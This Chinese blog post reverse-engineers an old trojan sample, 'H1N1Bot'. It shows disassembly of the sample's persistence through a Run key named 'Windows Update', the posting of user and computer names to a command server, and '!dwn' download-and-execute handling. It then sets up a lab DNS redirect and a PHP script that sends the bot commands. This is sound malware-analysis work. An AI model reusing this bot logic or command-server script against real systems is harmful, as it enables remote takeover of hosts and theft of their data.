一個簡單木馬分析及接管利用
最近一段時間,感覺工作很是雜亂無章,部落格也基本沒時間來寫,基本每月一篇,其實每寫一篇也代表目前我自己的工作狀態及內容。最近搞逆向這一塊,找了些樣本分析例子,自己也研究了一下,感覺有不少好東西,當然這些樣本很多都過時了,甚至淘汰了,但對於學習而言還是有點用處,這裡介紹一個簡單木馬分析及其接管利用。
本文分析的木馬樣本來自吾愛破解論壇,早之前2010年時就有人分析過:http://www.52pojie.cn/forum.php?mod=viewthread&tid=63874,我這裡再進一步完善分析並接管利用,樣本技術含量不怎樣,新手可以參考學習,高手請繞過,下面開始!
一、樣本分析
先大體上說一說這個樣本的功能,其實很簡單,感染後在本地開一個後門,向遠端伺服器請求指令,可以下載指定的url檔案並執行,也可以清理自身。OD載入後,上來就是五個call:
004014B5 > $ E8 C7FFFFFF call winvv.00401481 ; 建立互斥物件,防止重複感染
004014BA . E8 D3FBFFFF call winvv.00401092 ; 拷貝自身到系統CSIDL_APPDATA路徑
004014BF . E8 EAFCFFFF call winvv.004011AE ; 新增啟動項
004014C4 > E8 0CFFFFFF call winvv.004013D5 ; 獲取本機使用者名稱及計算機名,post到遠端
004014C9 . E8 71FFFFFF call winvv.0040143F ; 請求遠端伺服器,接收遠端指令並執行相應操作
004014CE . 68 60EA0000 push 0xEA60 ; /Timeout = 60000. ms
004014D3 . E8 40000000 call <jmp.&kernel32.Sleep> ; \Sleep
004014D8 .^ EB EA jmp Xwinvv.004014C4
004014DA . 6A 00 push 0x0 ; /ExitCode = 0x0
004014DC . E8 13000000 call <jmp.&kernel32.ExitProcess> ; \ExitProcess
其中,後兩個call迴圈執行,隔60秒執行一次,下面分別跟進去說一下:
1、建立名為"H1N1Bot"的Mutex物件,防止重複感染
00401481 /$ 55 push ebp
00401482 |. 8BEC mov ebp,esp
00401484 |. 83C4 FC add esp,-0x4
00401487 |. 68 BB304000 push setup.004030BB ; /MutexName = "H1N1Bot"
0040148C |. 6A 00 push 0x0 ; |InitialOwner = FALSE
0040148E |. 6A 00 push 0x0 ; |pSecurity = NULL
00401490 |. E8 59000000 call <jmp.&kernel32.CreateMutexA> ; \CreateMutexA
00401495 |. 8945 FC mov [local.1],eax
00401498 |. E8 63000000 call <jmp.&kernel32.GetLastError> ; [GetLastError
0040149D |. 3D B7000000 cmp eax,0xB7
004014A2 |. 74 02 je Xsetup.004014A6
004014A4 |. C9 leave
004014A5 |. C3 retn
004014A6 |> FF75 FC push [local.1] ; /hObject
004014A9 |. E8 34000000 call <jmp.&kernel32.CloseHandle> ; \CloseHandle
004014AE |. 6A 00 push 0x0 ; /ExitCode = 0x0
004014B0 \. E8 3F000000 call <jmp.&kernel32.ExitProcess> ; \ExitProcess
2、獲取當前系統CSIDL_APPDATA路徑,如:C:\Documents and Settings\Administrator\Local Settings\Applicaton Data.並在後追加檔名"\winvv.exe",然後與當前程式鏡象路徑對比,如果當前程式不是winvv.exe,則複製當前檔案到"CSIDL_APPDATA\winvv.exe",然後執行winvv.exe,並退出本程式
00401092 /$ 55 push ebp
00401093 |. 8BEC mov ebp,esp
00401095 |. 81C4 FCFDFFFF add esp,-0x204
0040109B |. 68 00010000 push 0x100 ; /Length = 100 (256.)
004010A0 |. 8D85 00FFFFFF lea eax,[local.64] ; |
004010A6 |. 50 push eax ; |Destination
004010A7 |. E8 66040000 call <jmp.&kernel32.RtlZeroMemory> ; \RtlZeroMemory
004010AC |. 68 00010000 push 0x100 ; /Length = 100 (256.)
004010B1 |. 8D85 00FEFFFF lea eax,[local.128] ; |
004010B7 |. 50 push eax ; |Destination
004010B8 |. E8 55040000 call <jmp.&kernel32.RtlZeroMemory> ; \RtlZeroMemory
004010BD |. 68 00010000 push 0x100 ; /BufSize = 100 (256.)
004010C2 |. 8D85 00FFFFFF lea eax,[local.64] ; |
004010C8 |. 50 push eax ; |PathBuffer
004010C9 |. 6A 00 push 0x0 ; |hModule = NULL
004010CB |. E8 36040000 call <jmp.&kernel32.GetModuleFileNameA> ; \GetModuleFileNameA
004010D0 |. 8D85 00FEFFFF lea eax,[local.128]
004010D6 |. 50 push eax
004010D7 |. 6A 00 push 0x0
004010D9 |. 6A 00 push 0x0
004010DB |. 6A 1C push 0x1C
004010DD |. 6A 00 push 0x0
004010DF |. E8 7C040000 call <jmp.&shell32.SHGetFolderPathA>
004010E4 |. 68 60304000 push setup.00403060 ; /StringToAdd = "\winvv.exe"
004010E9 |. 8D85 00FEFFFF lea eax,[local.128] ; |
004010EF |. 50 push eax ; |ConcatString
004010F0 |. E8 35040000 call <jmp.&kernel32.lstrcatA> ; \lstrcatA
004010F5 |. 8D85 00FEFFFF lea eax,[local.128] ; C:\Documents and Settings\Administrator\Local Settings\Application Data\winvv.exe
004010FB |. 50 push eax ; /String2
004010FC |. 8D85 00FFFFFF lea eax,[local.64] ; |
00401102 |. 50 push eax ; |String1
00401103 |. E8 28040000 call <jmp.&kernel32.lstrcmpA> ; \lstrcmpA
00401108 |. 83F8 00 cmp eax,0x0 ; 比較路徑
0040110B |. 74 6B je Xsetup.00401178
0040110D |. 6A 00 push 0x0 ; /FailIfExists = FALSE
0040110F |. 8D85 00FEFFFF lea eax,[local.128] ; |
00401115 |. 50 push eax ; |NewFileName
00401116 |. 8D85 00FFFFFF lea eax,[local.64] ; |
0040111C |. 50 push eax ; |ExistingFileName
0040111D |. E8 C6030000 call <jmp.&kernel32.CopyFileA> ; \CopyFileA
00401122 |. 68 00010000 push 0x100 ; /Length = 100 (256.)
00401127 |. 8D85 00FFFFFF lea eax,[local.64] ; |
0040112D |. 50 push eax ; |Destination
0040112E |. E8 DF030000 call <jmp.&kernel32.RtlZeroMemory> ; \RtlZeroMemory
00401133 |. 8D85 00FFFFFF lea eax,[local.64]
00401139 |. 50 push eax
0040113A |. 6A 00 push 0x0
0040113C |. 6A 00 push 0x0
0040113E |. 6A 1C push 0x1C
00401140 |. 6A 00 push 0x0
00401142 |. E8 19040000 call <jmp.&shell32.SHGetFolderPathA>
00401147 |. 8D05 60304000 lea eax,dword ptr ds:[0x403060]
0040114D |. 40 inc eax
0040114E |. 8985 FCFDFFFF mov [local.129],eax
00401154 |. 6A 00 push 0x0 ; /IsShown = 0x0
00401156 |. 8D85 00FFFFFF lea eax,[local.64] ; |
0040115C |. 50 push eax ; |DefDir
0040115D |. 6A 00 push 0x0 ; |Parameters = NULL
0040115F |. FFB5 FCFDFFFF push [local.129] ; |FileName
00401165 |. 68 6B304000 push setup.0040306B ; |Operation = "open"
0040116A |. 6A 00 push 0x0 ; |hWnd = NULL
0040116C |. E8 F5030000 call <jmp.&shell32.ShellExecuteA> ; \ShellExecuteA
00401171 |. 6A 00 push 0x0 ; /ExitCode = 0x0
00401173 |. E8 7C030000 call <jmp.&kernel32.ExitProcess> ; \ExitProcess
00401178 |> C9 leave
00401179 \. C3 retn
3、把winvv.exe新增進啟動項"Software\Microsoft\Windows\CurrentVersion\Run\"中,項名為"Windows Update"
004011AE /$ 55 push ebp
004011AF |. 8BEC mov ebp,esp
004011B1 |. 81C4 F8FEFFFF add esp,-0x108
004011B7 |. 68 00010000 push 0x100 ; /Length = 100 (256.)
004011BC |. 8D85 F8FEFFFF lea eax,[local.66] ; |
004011C2 |. 50 push eax ; |Destination
004011C3 |. E8 4A030000 call <jmp.&kernel32.RtlZeroMemory> ; \RtlZeroMemory
004011C8 |. 68 00010000 push 0x100 ; /BufSize = 100 (256.)
004011CD |. 8D85 F8FEFFFF lea eax,[local.66] ; |
004011D3 |. 50 push eax ; |PathBuffer
004011D4 |. 6A 00 push 0x0 ; |hModule = NULL
004011D6 |. E8 2B030000 call <jmp.&kernel32.GetModuleFileNameA> ; \GetModuleFileNameA
004011DB |. 8D45 FC lea eax,[local.1]
004011DE |. 50 push eax ; /pHandle
004011DF |. 6A 02 push 0x2 ; |Access = KEY_SET_VALUE
004011E1 |. 6A 00 push 0x0 ; |Reserved = 0x0
004011E3 |. 68 70304000 push winvv.00403070 ; |Subkey = "Software\Microsoft\Windows\CurrentVersion\Run\"
004011E8 |. 68 01000080 push 0x80000001 ; |hKey = HKEY_CURRENT_USER
004011ED |. E8 8C030000 call <jmp.&advapi32.RegOpenKeyExA> ; \RegOpenKeyExA
004011F2 |. 83F8 00 cmp eax,0x0
004011F5 |. 75 2D jnz Xwinvv.00401224
004011F7 |. 8D85 F8FEFFFF lea eax,[local.66] ; 獲取當前程式映象的路徑長度
004011FD |. 50 push eax ; /String
004011FE |. E8 39030000 call <jmp.&kernel32.lstrlenA> ; \lstrlenA
00401203 |. 50 push eax ; /BufSize
00401204 |. 8D85 F8FEFFFF lea eax,[local.66] ; |
0040120A |. 50 push eax ; |Buffer
0040120B |. 6A 01 push 0x1 ; |ValueType = REG_SZ
0040120D |. 6A 00 push 0x0 ; |Reserved = 0x0
0040120F |. 68 9F304000 push winvv.0040309F ; |ValueName = "Windows Update"
00401214 |. FF75 FC push [local.1] ; |hKey
00401217 |. E8 68030000 call <jmp.&advapi32.RegSetValueExA> ; \RegSetValueExA
0040121C |. FF75 FC push [local.1] ; /hObject
0040121F |. E8 BE020000 call <jmp.&kernel32.CloseHandle> ; \CloseHandle
00401224 |> C9 leave
00401225 \. C3 retn
4、Call 004013D5:獲取本機使用者名稱及計算機名,post到遠端伺服器:http://mmmbsbt.co.cc/admin/bot.php?mode=2&ident=AdministratorVMWARE
004013D5 /$ 55 push ebp
004013D6 |. 8BEC mov ebp,esp
004013D8 |. 83C4 FC add esp,-0x4
004013DB |. 6A 40 push 0x40 ; /Protect = PAGE_EXECUTE_READWRITE
004013DD |. 68 00100000 push 0x1000 ; |AllocationType = MEM_COMMIT
004013E2 |. 68 00020000 push 0x200 ; |Size = 200 (512.)
004013E7 |. 6A 00 push 0x0 ; |Address = NULL
004013E9 |. E8 30010000 call <jmp.&kernel32.VirtualAlloc> ; \VirtualAlloc
004013EE |. 8945 FC mov [local.1],eax
004013F1 |. C700 6D6F6465 mov dword ptr ds:[eax],0x65646F6D ; 填充mode=2&ident=
004013F7 |. 83C0 04 add eax,0x4
004013FA |. C700 3D322669 mov dword ptr ds:[eax],0x6926323D
00401400 |. 83C0 04 add eax,0x4
00401403 |. C700 64656E74 mov dword ptr ds:[eax],0x746E6564
00401409 |. 83C0 04 add eax,0x4
0040140C |. C600 3D mov byte ptr ds:[eax],0x3D
0040140F |. 40 inc eax
00401410 |. 50 push eax
00401411 |. 50 push eax
00401412 |. E8 74FFFFFF call winvv.0040138B ; 獲取當前系統使用者名稱,並返回使用者名稱長度
00401417 |. 8BC8 mov ecx,eax
00401419 |. 58 pop eax ; eax = 使用者名稱後地址
0040141A |. 03C1 add eax,ecx ; 此時buffer內容為mode=2&ident=Administrator
0040141C |. 50 push eax
0040141D |. 50 push eax
0040141E |. E8 8DFFFFFF call winvv.004013B0 ; 獲取計算機名,並追加到buffer中,返回計算機名長度
00401423 |. FF75 FC push [local.1] ; 此時buffer內容為mode=2&ident=AdministratorVMWARE
00401426 |. FF75 FC push [local.1]
00401429 |. E8 D2FBFFFF call winvv.00401000 ; 傳送post請求
0040142E |. 68 00800000 push 0x8000 ; /FreeType = MEM_RELEASE
00401433 |. 6A 00 push 0x0 ; |Size = 0x0
00401435 |. FF75 FC push [local.1] ; |Address
00401438 |. E8 E7000000 call <jmp.&kernel32.VirtualFree> ; \VirtualFree
0040143D |. C9 leave
0040143E \. C3 retn
4.1、Call 0040138B:獲取當前系統使用者名稱及長度
0040138B /$ 55 push ebp
0040138C |. 8BEC mov ebp,esp
0040138E |. 83C4 FC add esp,-0x4
00401391 |. C745 FC 00010>mov [local.1],0x100
00401398 |. 8D45 FC lea eax,[local.1]
0040139B |. 50 push eax ; /pBufCount
0040139C |. FF75 08 push [arg.1] ; |Buffer
0040139F |. E8 CE010000 call <jmp.&advapi32.GetUserNameA> ; \GetUserNameA
004013A4 |. FF75 08 push [arg.1] ; /String
004013A7 |. E8 90010000 call <jmp.&kernel32.lstrlenA> ; \lstrlenA
004013AC |. C9 leave
004013AD \. C2 0400 retn 0x4
4.2、Call 004013B0:獲取計算機名及長度
004013B0 /$ 55 push ebp
004013B1 |. 8BEC mov ebp,esp
004013B3 |. 83C4 FC add esp,-0x4
004013B6 |. C745 FC 00010>mov [local.1],0x100
004013BD |. 8D45 FC lea eax,[local.1]
004013C0 |. 50 push eax ; /pBufferSize
004013C1 |. FF75 08 push [arg.1] ; |Buffer
004013C4 |. E8 31010000 call <jmp.&kernel32.GetComputerNameA> ; \GetComputerNameA
004013C9 |. FF75 08 push [arg.1] ; /String
004013CC |. E8 6B010000 call <jmp.&kernel32.lstrlenA> ; \lstrlenA
004013D1 |. C9 leave
004013D2 \. C2 0400 retn 0x4
4.3、Call 00401000:傳送Post請求到http://mmmbsbt.co.cc/admin/bot.php?mode=引數
00401000 /$ 55 push ebp
00401001 |. 8BEC mov ebp,esp
00401003 |. 6A 00 push 0x0
00401005 |. 6A 00 push 0x0
00401007 |. 6A 00 push 0x0
00401009 |. 6A 00 push 0x0
0040100B |. 68 58304000 push winvv.00403058 ; ASCII "myAgent"
00401010 |. E8 3F050000 call <jmp.&wininet.InternetOpenA> ; 開啟
00401015 |. 6A 01 push 0x1
00401017 |. 6A 00 push 0x0
00401019 |. 6A 03 push 0x3
0040101B |. 6A 00 push 0x0
0040101D |. 6A 00 push 0x0
0040101F |. 6A 50 push 0x50
00401021 |. 68 4A304000 push winvv.0040304A ; ASCII "mmmbsbt.co.cc"
00401026 |. 50 push eax
00401027 |. E8 22050000 call <jmp.&wininet.InternetConnectA> ; 建立連線
0040102C |. 6A 00 push 0x0
0040102E |. 6A 00 push 0x0
00401030 |. 6A 00 push 0x0
00401032 |. 6A 00 push 0x0
00401034 |. 6A 00 push 0x0
00401036 |. 68 37304000 push winvv.00403037 ; ASCII "admin/bot.php"
0040103B |. 68 45304000 push winvv.00403045 ; ASCII "POST"
00401040 |. 50 push eax
00401041 |. E8 FC040000 call <jmp.&wininet.HttpOpenRequestA> ; 開啟請求
00401046 |. A3 AE304000 mov dword ptr ds:[0x4030AE],eax
0040104B |. FF75 08 push [arg.1] ; /請求引數
0040104E |. E8 E9040000 call <jmp.&kernel32.lstrlenA> ; \lstrlenA
00401053 |. 50 push eax
00401054 |. FF75 08 push [arg.1]
00401057 |. 6A 2F push 0x2F
00401059 |. 68 00304000 push winvv.00403000 ; ASCII "Content-Type: application/x-www-form-urlencoded"
0040105E |. FF35 AE304000 push dword ptr ds:[0x4030AE]
00401064 |. E8 DF040000 call <jmp.&wininet.HttpSendRequestA> ; 傳送請求
00401069 |. 68 00020000 push 0x200 ; /Length = 200 (512.)
0040106E |. FF75 0C push [arg.2] ; |Destination
00401071 |. E8 9C040000 call <jmp.&kernel32.RtlZeroMemory> ; \RtlZeroMemory
00401076 |. 68 B2304000 push winvv.004030B2
0040107B |. 68 00020000 push 0x200
00401080 |. FF75 0C push [arg.2]
00401083 |. FF35 AE304000 push dword ptr ds:[0x4030AE]
00401089 |. E8 CC040000 call <jmp.&wininet.InternetReadFile> ; 讀取伺服器響應
0040108E |. C9 leave
0040108F \. C2 0800 retn 0x8
5、請求遠端伺服器:http://mmmbsbt.co.cc/admin/bot.php?mode=1,接收遠端指令並執行相應操作
0040143F /$ 55 push ebp
00401440 |. 8BEC mov ebp,esp
00401442 |. 83C4 FC add esp,-0x4
00401445 |. 6A 40 push 0x40 ; /Protect = PAGE_EXECUTE_READWRITE
00401447 |. 68 00100000 push 0x1000 ; |AllocationType = MEM_COMMIT
0040144C |. 68 00020000 push 0x200 ; |Size = 200 (512.)
00401451 |. 6A 00 push 0x0 ; |Address = NULL
00401453 |. E8 C6000000 call <jmp.&kernel32.VirtualAlloc> ; \VirtualAlloc
00401458 |. 8945 FC mov [local.1],eax
0040145B |. FF75 FC push [local.1]
0040145E |. 68 30304000 push winvv.00403030 ; ASCII "mode=1"
00401463 |. E8 98FBFFFF call winvv.00401000 ; 傳送post請求
00401468 |. FF75 FC push [local.1]
0040146B |. E8 DEFEFFFF call winvv.0040134E ; 處理返回指令
00401470 |. 68 00800000 push 0x8000 ; /FreeType = MEM_RELEASE
00401475 |. 6A 00 push 0x0 ; |Size = 0x0
00401477 |. FF75 FC push [local.1] ; |Address
0040147A |. E8 A5000000 call <jmp.&kernel32.VirtualFree> ; \VirtualFree
0040147F |. C9 leave
00401480 \. C3 retn
5.1、Call 00401000:傳送Post請求如4.3
5.2、Call 0040134E:處理伺服器返回的指令
0040134E /$ 55 push ebp
0040134F |. 8BEC mov ebp,esp
00401351 |. 8B45 08 mov eax,[arg.1]
00401354 |. 8038 00 cmp byte ptr ds:[eax],0x0 ; 比較第一個byte是否為0x0,16進位制ascii碼低高位
00401357 |. 74 18 je Xwinvv.00401371
00401359 |. 8138 2164776E cmp dword ptr ds:[eax],0x6E776421 ; 比較第一個dword是否為!dwn
0040135F |. 74 14 je Xwinvv.00401375
00401361 |. 8138 21636C6F cmp dword ptr ds:[eax],0x6F6C6321 ; 比較第一個dword是否為!clo
00401367 |. 74 14 je Xwinvv.0040137D
00401369 |. 8138 2172656D cmp dword ptr ds:[eax],0x6D657221 ; 比較第一個dword是否為!rem
0040136F |. 74 13 je Xwinvv.00401384
00401371 |> C9 leave
00401372 |. C2 0400 retn 0x4
00401375 |> 50 push eax
00401376 |. E8 26FFFFFF call winvv.004012A1 ; 處理!dwn指令
0040137B |.^ EB F4 jmp Xwinvv.00401371
0040137D |> E8 C4FFFFFF call winvv.00401346 ; 處理!clo指令
00401382 |.^ EB ED jmp Xwinvv.00401371
00401384 |> E8 F1FDFFFF call winvv.0040117A ; 處理!rem指令
00401389 \.^ EB F2 jmp Xwinvv.0040137D
5.2.1、Call 004012A1:處理"!dwn"指令,用於下載執行檔案
格式:!dwn EXE_URL_Address File_Save_Path Optional_param (如:!dwn http://mmmbsbt.co.cc:8088/admin/1.exe c:\\1.exe kkkk)
從第一個引數為要下載檔案的url;第二個引數為要下載檔案在本地儲存的路徑;第三個引數為附加引數,主要用於辨別該檔案在本地是否已經下載,第一次下載時會儲存起來。
004012A1 /$ 55 push ebp
004012A2 |. 8BEC mov ebp,esp
004012A4 |. 83C4 F8 add esp,-0x8
004012A7 |. FF75 08 push [arg.1] ; /String
004012AA |. E8 8D020000 call <jmp.&kernel32.lstrlenA> ; \取得指令資料包長度
004012AF |. 83F8 05 cmp eax,0x5 ; 指令資料包長度小於5則跳出
004012B2 |. 0F8E 8A000000 jle winvv.00401342
004012B8 |. 6A 05 push 0x5
004012BA |. FF75 08 push [arg.1]
004012BD |. E8 A9FFFFFF call winvv.0040126B ; 獲取指令引數,就是!dwn之類指令後面的引數
004012C2 |. 6A 20 push 0x20
004012C4 |. FF75 08 push [arg.1]
004012C7 |. E8 5AFFFFFF call winvv.00401226 ; 在引數中尋找空格的位置擷取一個引數
004012CC |. 0345 08 add eax,[arg.1]
004012CF |. C600 00 mov byte ptr ds:[eax],0x0
004012D2 |. 40 inc eax
004012D3 |. 8945 FC mov [local.1],eax
004012D6 |. 50 push eax ; /String
004012D7 |. E8 60020000 call <jmp.&kernel32.lstrlenA> ; \lstrlenA
004012DC |. 83F8 00 cmp eax,0x0
004012DF |. 74 61 je Xwinvv.00401342 ; 如果無引數了則跳出
004012E1 |. 6A 20 push 0x20
004012E3 |. FF75 FC push [local.1]
004012E6 |. E8 3BFFFFFF call winvv.00401226 ; 在引數中尋找空格的位置擷取第二個引數
004012EB |. 0345 FC add eax,[local.1]
004012EE |. C600 00 mov byte ptr ds:[eax],0x0
004012F1 |. 40 inc eax
004012F2 |. 50 push eax
004012F3 |. 50 push eax ; /String
004012F4 |. E8 43020000 call <jmp.&kernel32.lstrlenA> ; \lstrlenA
004012F9 |. 83F8 00 cmp eax,0x0
004012FC |. 74 44 je Xwinvv.00401342 ; 如果無引數了則跳出
004012FE |. 58 pop eax
004012FF |. 50 push eax
00401300 |. 68 B6304000 push winvv.004030B6 ; /全域性變數初始為"0000"
00401305 |. 50 push eax ; |String1
00401306 |. E8 25020000 call <jmp.&kernel32.lstrcmpA> ; \lstrcmpA
0040130B |. 83F8 00 cmp eax,0x0
0040130E |. 74 32 je Xwinvv.00401342 ; 如果最後一個引數和全域性變數比較一樣則跳出
00401310 |. 58 pop eax
00401311 |. 50 push eax ; /String2
00401312 |. 68 B6304000 push winvv.004030B6 ; |String1 = winvv.004030B6
00401317 |. E8 1A020000 call <jmp.&kernel32.lstrcpyA> ; \把最後那個引數複製到全域性變數中
0040131C |. 6A 00 push 0x0
0040131E |. 6A 00 push 0x0
00401320 |. FF75 FC push [local.1]
00401323 |. FF75 08 push [arg.1]
00401326 |. 6A 00 push 0x0 ; 根據引數準備下載執行檔案
00401328 |. E8 3F020000 call <jmp.&urlmon.URLDownloadToFileA>
0040132D |. 6A 01 push 0x1 ; /IsShown = 0x1
0040132F |. 6A 00 push 0x0 ; |DefDir = NULL
00401331 |. 6A 00 push 0x0 ; |Parameters = NULL
00401333 |. FF75 FC push [local.1] ; |FileName
00401336 |. 68 6B304000 push winvv.0040306B ; |Operation = "open"
0040133B |. 6A 00 push 0x0 ; |hWnd = NULL
0040133D |. E8 24020000 call <jmp.&shell32.ShellExecuteA> ; \ShellExecuteA
00401342 |> C9 leave
00401343 \. C2 0400 retn 0x4
5.2.2、Call 00401346:處理"!clo"指令,樣本程式退出
00401346 /$ 6A 00 push 0x0 ; /ExitCode = 0x0
00401348 \. E8 A7010000 call <jmp.&kernel32.ExitProcess> ; \ExitProcess
0040134D . C3 retn
5.2.3、Call 0040117A:處理"!rem"指令,刪除樣本的登錄檔啟動項"Windows Update",並退出樣本程式
0040117A /$ 55 push ebp
0040117B |. 8BEC mov ebp,esp
0040117D |. 83C4 FC add esp,-0x4
00401180 |. 8D45 FC lea eax,[local.1]
00401183 |. 50 push eax ; /pHandle
00401184 |. 6A 02 push 0x2 ; |Access = KEY_SET_VALUE
00401186 |. 6A 00 push 0x0 ; |Reserved = 0x0
00401188 |. 68 70304000 push winvv.00403070 ; |Subkey = "Software\Microsoft\Windows\CurrentVersion\Run\"
0040118D |. 68 01000080 push 0x80000001 ; |hKey = HKEY_CURRENT_USER
00401192 |. E8 E7030000 call <jmp.&advapi32.RegOpenKeyExA> ; \RegOpenKeyExA
00401197 |. 68 9F304000 push winvv.0040309F ; /ValueName = "Windows Update"
0040119C |. FF75 FC push [local.1] ; |hKey
0040119F |. E8 D4030000 call <jmp.&advapi32.RegDeleteValueA> ; \RegDeleteValueA
004011A4 |. FF75 FC push [local.1] ; /hObject
004011A7 |. E8 36030000 call <jmp.&kernel32.CloseHandle> ; \CloseHandle
004011AC |. C9 leave
004011AD \. C3 retn
二、接管利用
分析至此,我們們都很清楚這個樣本是怎麼運作了,接下來我們準備開始接管利用,基本思路就是架設一個web伺服器提供給樣本訪問,並提供相應指令給樣本執行。
1、執行環境,我這裡使用vm虛擬機器,系統為XP sp3;
2、關於域名劫持,樣本訪問的遠端域名為mmmbsbt.co.cc,我們得想本法把它轉走,最簡單就是通過修改hosts檔案,我這裡使用了一個叫apateDNS的工具,把所有域名都轉向本地127.0.0.1,如下圖;
3、關於php伺服器,我這裡在網上找了一個小巧的web伺服器EasyWebSvr1.9,然後配置php環境。
1). 到http://www.php.net網站下載PHP的安裝包,如php-5.2.4-Win32.zip(建議用php5)
2). 解壓到硬碟某個目錄,如C:\PHP5.2.4
3). 把目錄下的php.ini-recommended改名為php.ini
4). 在桌面--我的電腦--右鍵--屬性--高階--環境變數,在系統變數中找到Path行,
點編輯,在原來的變數值最後增加C:\PHP5.2.4,注意用分號分隔,確定。
5). 在EasyWebServer中點右鍵選單--設定--對映,點新增按鈕,
在“新增/編輯指令碼對映”對話方塊中,副檔名欄輸入php,並指定可執行檔案(即直譯器)
在c:\php5中有2個直譯器檔案,
一個是CGI版的:c:\php5\php-cgi.exe
另一個是ISAPI版的:c:\php5\php5isapi.dll
這兩個隨便選擇一個都可以,但推薦使用ISAPI版的。確定。
6). 在”常規“選項卡下設定主目錄及埠,最後啟動伺服器,訪問localhost,應該就可以看到效果了
4、php指令碼編寫,很簡單,主要是bot.php,獲取post過來的引數內容,然後寫到一個txt中,再echo指令,我這隻示範!dwn,程式碼如下:
<?php
$mode=$_POST['mode'];
$ident=$_POST['ident'];
if(""==$ident)
{
$fp = fopen('zz.txt','a');
fwrite($fp,$mode.$ident."!");
fclose($fp);
echo "!dwn http://mmmbsbt.co.cc:8088/admin/1.exe c:\\1.exe kkkk";
}
else
{
$fp = fopen('zz.txt','a');
fwrite($fp,$mode.$ident."!");
fclose($fp);
echo "!dwn http://mmmbsbt.co.cc:8088/admin/1.exe c:\\1.exe kkkk";
}
?>
試著訪問下如圖:
5、接著我們要準備一個可執行檔案給樣本進行下載執行,其實可以同樣用上面那個web伺服器,但是我這它的檔案下載出了點問題,所以我又找了一個叫babyweb的小伺服器,架設了一個伺服器提供檔案下載,下載的檔案可以隨便是一個exe之類的可執行檔案,我這用一個helloword程式,架設我完畢如下圖:
6、萬事具備,接下來就是執行樣本,一轉眼後發現成功了:
三、總結
至此接管利用成功,基本思路就是域名劫持,然後web伺服器提供指令及下載檔案,主要是指令格式那要搞清楚,目前mmmbsbt.co.cc早已經失效,我第一步分析的時候其實就是架設web伺服器提供指令一步步跟出來的,其他的點各位還有思路可以再搞搞。
轉載請註明:http://blog.csdn.net/wangqiuyun/article/details/35547765
相關文章
- 一個支付寶木馬的分析溯源之旅
- BetaBot 木馬分析
- 利用msfvenom生成木馬檔案
- 移花接木大法:新型“白利用”華晨遠控木馬分析
- 一隻android簡訊控制馬的簡單分析Android
- 利用Bookworm木馬攻擊泰國政府Worm
- “您的主機已被接管!”新型 JavaScript 遠控木馬花樣來襲JavaScript
- Free Star木馬分析與追溯
- 黑狐”木馬分析報告
- CSRF簡單介紹及利用方法
- 一句木馬
- 硬體木馬(一)
- 一個不坐旋轉木馬的朋友
- “大灰狼”遠控木馬分析及幕後真兇調查
- 利用opencv 做一個簡單的人臉識別OpenCV
- Python編寫簡易木馬程式Python
- 從一個鎖主頁木馬裡挖出的驚天“暗殺黑名單”
- 寫了一個 SRE 除錯工具,類似一個小木馬除錯
- “會說話的鍵盤”:一個惡意推廣木馬的詳細分析
- 黑暗幽靈(DCM)木馬詳細分析
- Redis漏洞攻擊植入木馬逆向分析Redis
- 一個left join SQL 簡單優化分析SQL優化
- 分析一個簡單的goroutine資源池Go
- "綠色"並不代表安全,一個隱藏在綠色軟體中的木馬分析
- 記一次掛馬清除經歷:處理一個利用thinkphp5遠端程式碼執行漏洞挖礦的木馬PHP
- ZipperDown漏洞簡單分析及防護
- QQ盜號木馬動靜態分析流程
- 轉移目標!PYSA勒索團伙利用新型GoLang木馬攻擊學校及醫院Golang
- 記錄一次木馬排查
- 利用第三方軟體 0day 漏洞載入和執行的木馬分析
- 警惕國產挖礦木馬CPLMiner利用WMI駐留挖礦
- 實現一個簡單版本的Vue及原始碼解析(一)Vue原始碼
- 木馬學習
- 木牛流馬
- 簡單幾步,利用鐵威馬NAS安裝配置typecho部落格
- 圖片馬製作及利用方式
- 一個月內發現的第六起 Linux DDoS 木馬Linux
- Nginx的另一個選擇 - Traefik 入手及簡單配置Nginx
- 黑狐木馬最新變種——“肥兔”詳細分析